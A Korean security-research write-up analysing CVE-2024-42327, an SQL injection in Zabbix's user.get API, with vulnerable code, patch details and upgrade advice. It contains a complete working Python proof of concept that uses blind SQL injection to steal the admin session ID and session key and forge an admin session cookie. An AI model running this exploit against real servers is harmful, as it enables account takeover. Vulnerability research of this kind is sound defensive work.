CVE-2024-42327:Zabbix Server SQL Injection Vulnerability
- CVE-2024-42327:Zabbix Server SQL Injection Vulnerability
- 1. 개요
- 2. 배경지식
- 3. CVE-2024-42327
- 4. 패치
- 5. 결론
- 6. 참고자료
라온시큐어 화이트햇센터 핵심연구팀 박영욱
CVE-2024-42327:Zabbix Server SQL Injection Vulnerability
1. 개요
CVE-2024-42327
은 Zabbix의 user.get
API에서 발생하는 SQL Injection 취약점입니다.
이 취약점은 2024년 11월 27일에 등재되었으며, Zabbix의 CUser
클래스 내 addRelatedObjects
함수에서 입력값 검증이 제대로 이루어지지 않아 발생한 것으로 확인되었습니다. 특히, 이 함수는 API 접근 권한을 가진 모든 사용자가 호출할 수 있는 CUser.get
함수에서 실행되기 때문에, 권한이 낮은 사용자도 이 취약점을 악용할 수 있습니다.
CVE-2024-42327
취약점의 발생 원리와 그리고 해당 취약점에 대한 패치 방법을 자세히 살펴보겠습니다.
2. 배경지식
Zabbix
Zabbix
는 서버, 네트워크 장치, 애플리케이션 등의 IT 인프라를 실시간으로 모니터링하는 오픈 소스 소프트웨어입니다. 확장성과 자동화 기능을 갖추고 있어 대규모 환경에서도 안정적으로 활용 가능한 모니터링 도구입니다.
SQL Injection
SQL Injection
은 웹 애플리케이션이 사용자 입력값을 제대로 검증하지 않을 때 발생합니다. 공격자는 이를 통해 데이터베이스에 조작된 SQL 쿼리를 주입하여 민감한 정보를 탈취하거나, 인증을 우회하고, 데이터를 삭제 또는 수정하는 등의 악의적인 작업을 수행할 수 있는 취약점입니다.
3. CVE-2024-42327
Affected version
- 6.0.0 <= Zabbix <= 6.0.31
- 6.4.0 <= Zabbix <= 6.4.16
- Zabbix = 7.0.0
테스트환경
환경 | 버전 |
---|---|
Zabbix | 7.0.0 |
Ubuntu | 22.04 |
PHP | 8.1.2 |
mysql | 8.0.40 |
apache2 | 2.4.52 |
취약점 요약
CVSS 점수 9.9로 평가된 이 취약점은 Zabbix API의 일반 사용자 계정 auth
값을 이용하여 user.get
메서드를 호출할 때 발생하는 SQL Injection 취약점 입니다.
API 요청 과정에서 입력값에 대한 검증이 충분히 이루어지지 않아, selectRole
매개변수를 통해 조작된 SQL 명령을 삽입할 수 있으며, 이를 악용해 권한이 없는 사용자가 관리자 계정 정보를 포함한 민감한 데이터에 접근하거나 권한을 상승시킬 수 있습니다.
이러한 취약점을 통해 데이터베이스에 존재하는 관리자 세션을 탈취하여 관리자권한을 얻는 과정을 단계적으로 설명드리겠습니다.
취약점 분석
1. api_jsonrpc.php
api_jsonrpc.php
는 클라이언트가 입력한 JSON 형식의 데이터를 파싱하여 method
에 따라 API를 호출하고, 전달된 params
값을 기반으로 API 메서드를 실행한 뒤 결과를 JSON 형식으로 반환하는 역할을 합니다.
$data = $http_request->body();
try {
APP::getInstance()->run(APP::EXEC_MODE_API);
$apiClient = API::getWrapper()->getClient();
// unset wrappers so that calls between methods would be made directly to the services
API::setWrapper();
$jsonRpc = new CJsonRpc($apiClient, $data);
echo $jsonRpc->execute($http_request);
}
catch (Exception $e) {
// decode input json request to get request's id
$jsonData = json_decode($data, true);
$response = [
'jsonrpc' => '2.0',
'error' => [
'code' => 1,
'message' => $e->getMessage(),
'data' => ''
],
'id' => (isset($jsonData['id']) ? $jsonData['id'] : null)
];
echo json_encode($response);
해당 파일은 JSON-RPC 요청을 처리하는 부분으로, 클라이언트 입력 데이터를 파싱하여 CJsonRpc
객체를 통해 실행합니다.
2. auth값 획득 및 user.get API 호출
Zabbix API를 사용하려면 유효한 auth
값이 필요합니다. 이는 user.login
API를 통해 얻을 수 있으며, 일반 사용자 계정의 auth
값으로도 취약점을 유발할 수 있습니다. 아래는 auth
값을 요청하는 방식입니다.
{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username":"test",
"password":"{REDACTED}"
},
"id":1
}
서버는 요청에 대해 인증 토큰(auth
)을 반환합니다.
획득한 auth
값을 사용해 user.get
API를 호출하여 정상적으로 동작하는지 확인할 수 있습니다.
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly"
],
"userids": ["1", "2",
"3"
]
},
"id": 1,
"auth": "775b26ca0a9cb0e549daeb031f92a37b"
}
위 요청이 성공하면 API 호출이 정상적으로 작동하며, 이후 공격자는 이를 기반으로 취약점을 악용할 수 있습니다.
3. SQL Injection 발생 확인
user.get
API 호출 시 내부적으로 CUser.php
파일의 addRelatedObjects
method를 호출하여 사용자 데이터를 처리합니다. 이 과정에서 입력값을 검증하지 않고 SQL 쿼리에 직접 포함하는 구조적 문제가 있어 SQL Injection 취약점이 발생할 수 있습니다.
CUser.php (addRelatedObjects method)
protected function addRelatedObjects(array $options, array $result) {
$result = parent::addRelatedObjects($options, $result);
$userIds = zbx_objectValues($result, 'userid');
// adding usergroups
if ($options['selectUsrgrps'] !== null && $options['selectUsrgrps'] != API_OUTPUT_COUNT) {
$relationMap = $this->createRelationMap($result, 'userid', 'usrgrpid', 'users_groups');
$dbUserGroups = API::UserGroup()->get([
'output' => $options['selectUsrgrps'],
'usrgrpids' => $relationMap->getRelatedIds(),
'preservekeys' => true
]);
$result = $relationMap->mapMany($result, $dbUserGroups, 'usrgrps');
}
// adding medias
if ($options['selectMedias'] !== null && $options['selectMedias'] != API_OUTPUT_COUNT) {
$db_medias = API::getApiService()->select('media', [
'output' => $this->outputExtend($options['selectMedias'], ['userid', 'mediaid', 'mediatypeid']),
'filter' => ['userid' => $userIds],
'preservekeys' => true
]);
// 'sendto' parameter in media types with 'type' == MEDIA_TYPE_EMAIL are returned as array.
if (($options['selectMedias'] === API_OUTPUT_EXTEND || in_array('sendto', $options['selectMedias']))
&& $db_medias) {
$db_email_medias = DB::select('media_type', [
'output' => [],
'filter' => [
'mediatypeid' => zbx_objectValues($db_medias, 'mediatypeid'),
'type' => MEDIA_TYPE_EMAIL
],
'preservekeys' => true
]);
foreach ($db_medias as &$db_media) {
if (array_key_exists($db_media['mediatypeid'], $db_email_medias)) {
$db_media['sendto'] = explode("\n", $db_media['sendto']);
}
}
unset($db_media);
}
$relationMap = $this->createRelationMap($db_medias, 'userid', 'mediaid');
$db_medias = $this->unsetExtraFields($db_medias, ['userid', 'mediaid', 'mediatypeid'],
$options['selectMedias']
);
$result = $relationMap->mapMany($result, $db_medias, 'medias');
}
// adding media types
if ($options['selectMediatypes'] !== null && $options['selectMediatypes'] != API_OUTPUT_COUNT) {
$mediaTypes = [];
$relationMap = $this->createRelationMap($result, 'userid', 'mediatypeid', 'media');
$related_ids = $relationMap->getRelatedIds();
if ($related_ids) {
$mediaTypes = API::Mediatype()->get([
'output' => $options['selectMediatypes'],
'mediatypeids' => $related_ids,
'preservekeys' => true
]);
}
$result = $relationMap->mapMany($result, $mediaTypes, 'mediatypes');
}
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
CUser.php
의 addRelatedObjects
method는 API 요청의 params
값 중 selectRole
매개변수를 사용하여 사용자와 관련된 데이터를 처리합니다. 하지만 selectRole
값이 적절히 검증되지 않고 SQL 쿼리 문자열에 포함되는 문제가 존재합니다.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
}
위 코드에서 implode()
함수는 selectRole
값에 전달된 필드명을 SQL 쿼리 문자열에 그대로 포함시킵니다. 이로 인해 입력값 검증이 없을 경우 공격자가 SQL Injection을 발생시킬 수 있습니다.
따라서, 아래의 json을 요청하게 되면,
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly AND (SELECT SLEEP(5))"
],
"userids": ["1", "2",
"3"
]
},
"id": 1,
"auth": "775b26ca0a9cb0e549daeb031f92a37b"
}
SQL 쿼리로는 다음과 같이 동작하게 되고, 결과적으로 SQL injection이 발생하는 것을 확인할 수 있습니다.
SELECT u.userid, r.roleid, r.name, r.type, r.readonly AND (SELECT SLEEP(5))
FROM users u, role r
WHERE u.roleid = r.roleid
AND u.userid IN (1, 2, 3);
SQL Injection이 발생하여 5~6초의 딜레이가 생긴 것을 확인할 수 있습니다.
4. Blind SQL Injection을 통한 관리자 권한 session 탈취
zabbix에서는 세션을 생성할 때, sessionid
와 session_key
가 필요합니다. 따라서, 해당 단계에서는 sessionid
와 session_key
를 탈취하는 방식에 대해 설명드리겠습니다.
Blind SQL Injection
DB명 : zabbix
참일 경우 반응
DB명의 첫번째 글자가 z
이기 때문에 1이 반환되는 것을 알 수 있습니다.
거짓일 경우 반응
DB명의 첫번째 글자가 a
이기 때문에 0이 반환되는 것을 알 수 있습니다.
위의 내용처럼, 참과 거짓의 응답 차이를 활용하여 데이터베이스 정보를 추출하는 방식을 Blind SQL Injection
이라고 합니다.
- admin sessionid 탈취
import requests
url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b"
headers = {
"Content-Type": "application/json"
}
def extract_session_id():
session_id = ""
print("[*] Extracting sessionid from sessions table...")
for i in range(1, 50):
found_char = False
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
f"readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
],
"userids": ["1"]
},
"id": 1,
"auth": auth_token
}
response = requests.post(url, json=payload, headers=headers)
result = response.json()
try:
key = f"r.readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
if result["result"][0]["role"].get(key) == "1":
session_id += char
print(f"[*] Found character: {char}")
found_char = True
break
except KeyError:
pass
if not found_char:
break
print(f"[*] Extracted sessionid: {session_id}")
return session_id
if __name__ == "__main__":
extract_session_id()
readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)
sessions 테이블에 존재하는 userid가 1인(Admin) 계정의 sessionid
를 한글자씩 추출하는 코드입니다.
admin session : f16aac39b446fc135e8ef19345e148d4
- session_key 탈취
import requests
url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b"
headers = {
"Content-Type": "application/json"
}
def extract_session_key():
session_key = ""
print("[*] Extracting session_key from config table...")
for i in range(1, 50):
found_char = False
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
f"readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
],
"userids": ["1"]
},
"id": 1,
"auth": auth_token
}
response = requests.post(url, json=payload, headers=headers)
result = response.json()
try:
key = f"r.readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
if result["result"][0]["role"].get(key) == "1":
session_key += char
print(f"[*] Found character: {char}")
found_char = True
break
except KeyError:
pass
if not found_char:
break
print(f"[*] Extracted session_key: {session_key}")
return session_key
if __name__ == "__main__":
extract_session_key()
readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)
config 테이블에 존재하는 session_key
를 한글자씩 추출하는 코드입니다.
session_key : c6a271aa63d4657cc5bcb3cfd26bbe95
5. 탈취한 세션을 통해 관리자 세션 생성 및 로그인
zabbix에서는 세션을 생성할때 sessionid
와 해당 세션을 검증하는 sign
으로 구성되어 있습니다.
sign
은 HMAC-SHA256알고리즘을 사용하여 session_key
를 기반으로 생성됩니다.
따라서, 탈취한 sessionid
와 session_key
를 통해 관리자의 세션을 생성할 수 있습니다.
import hmac
import hashlib
import base64
import json
import time
from collections import OrderedDict
def generate_session_cookie(session_id, session_key):
def calculate_signature(data, key):
key_bytes = key.encode()
data_bytes = data.encode('utf-8')
return hmac.new(key_bytes, data_bytes, hashlib.sha256).hexdigest()
def encode_session_data(session_data, key):
session_data_sorted = OrderedDict(sorted(session_data.items()))
session_data_sorted['sign'] = calculate_signature(json.dumps(session_data_sorted, separators=(',', ':')), key)
encoded_data = base64.b64encode(json.dumps(session_data_sorted, separators=(',', ':')).encode('utf-8')).decode('utf-8')
return encoded_data
session_structure = {
"sessionid": session_id,
"serverCheckResult": True,
"serverCheckTime": int(time.time())
}
return encode_session_data(session_structure, session_key)
if __name__ == "__main__":
session_id = "f16aac39b446fc135e8ef19345e148d4"
session_key = "c6a271aa63d4657cc5bcb3cfd26bbe95"
admin_session_cookie = generate_session_cookie(session_id, session_key)
print(f"Generated Zabbix admin session cookie: {admin_session_cookie}")
생성된 세션을 통해 정상적으로 관리자로 로그인이 되는 것을 확인할 수 있습니다.
최종 POC 코드는 다음과 같습니다.
import requests
import hmac
import hashlib
import base64
import json
import time
from collections import OrderedDict
# 기본 설정
url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b"
headers = {
"Content-Type": "application/json"
}
def extract_session_id():
session_id = ""
print("[*] Extracting sessionid from sessions table...")
for i in range(1, 50):
found_char = False
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
f"readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
],
"userids": ["1"]
},
"id": 1,
"auth": auth_token
}
response = requests.post(url, json=payload, headers=headers)
result = response.json()
try:
key = f"r.readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
if result["result"][0]["role"].get(key) == "1":
session_id += char
print(f"[*] Found character: {char}")
found_char = True
break
except KeyError:
pass
if not found_char:
break
print(f"[*] Extracted sessionid: {session_id}")
return session_id
def extract_session_key():
session_key = ""
print("[*] Extracting session_key from config table...")
for i in range(1, 50):
found_char = False
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
f"readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
],
"userids": ["1"]
},
"id": 1,
"auth": auth_token
}
response = requests.post(url, json=payload, headers=headers)
result = response.json()
try:
key = f"r.readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
if result["result"][0]["role"].get(key) == "1":
session_key += char
print(f"[*] Found character: {char}")
found_char = True
break
except KeyError:
pass
if not found_char:
break
print(f"[*] Extracted session_key: {session_key}")
return session_key
def generate_session_cookie(session_id, session_key):
def calculate_signature(data, key):
key_bytes = key.encode()
data_bytes = data.encode('utf-8')
return hmac.new(key_bytes, data_bytes, hashlib.sha256).hexdigest()
def encode_session_data(session_data, key):
session_data_sorted = OrderedDict(sorted(session_data.items()))
session_data_sorted['sign'] = calculate_signature(json.dumps(session_data_sorted, separators=(',', ':')), key)
encoded_data = base64.b64encode(json.dumps(session_data_sorted, separators=(',', ':')).encode('utf-8')).decode('utf-8')
return encoded_data
session_structure = {
"sessionid": session_id,
"serverCheckResult": True,
"serverCheckTime": int(time.time())
}
return encode_session_data(session_structure, session_key)
if __name__ == "__main__":
session_id = extract_session_id()
session_key = extract_session_key()
admin_session_cookie = generate_session_cookie(session_id, session_key)
print(f"Generated Zabbix admin session cookie: {admin_session_cookie}")
4. 패치
UnAffected version
- Zabbix >= 6.0.32rc1
- Zabbix >= 6.4.17rc1
- Zabbix >= 7.0.1rc1
패치된 코드에서는 사용자 입력값인 $options['selectRole']
이 직접 SQL 쿼리에 포함되지 않도록 수정된 것을 확인했습니다. 대신, API::Role()->get()
메서드를 사용하여 입력값을 검증하고 Prepared Statements를 통해 안전하게 처리되도록 구현된 것을 확인했습니다.
또한, 관계 매핑 과정에서 createRelationMap()
메서드를 사용하여 userid
와 roleid
간의 관계를 미리 검증된 값으로 매핑하도록 개선된 점도 확인할 수 있었습니다. 이를 통해 외부 입력값이 동적 SQL 쿼리에 영향을 미치지 않도록 설계되었습니다.
이러한 수정 사항을 통해 입력값 검증이 강화되고, SQL Injection 취약점이 효과적으로 제거된 것을 볼 수 있었습니다.
5. 결론
CVE-2024-42327
SQL Injection 취약점은 Zabbix를 사용하는 환경의 보안에 심각한 위협이 될 수 있는 문제로, 이를 방지하기 위해 영향을 받는 버전일 경우 적절한 업그레이드가 필요합니다.
취약점이 확인된 버전을 사용 중이라면, 아래 안전한 버전으로 업그레이드 하는 것을 권고드립니다.
- Zabbix >= 6.0.32rc1
- Zabbix >= 6.4.17rc1
- Zabbix >= 7.0.1rc1
6. 참고자료
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
https://support.zabbix.com/browse/ZBX-25623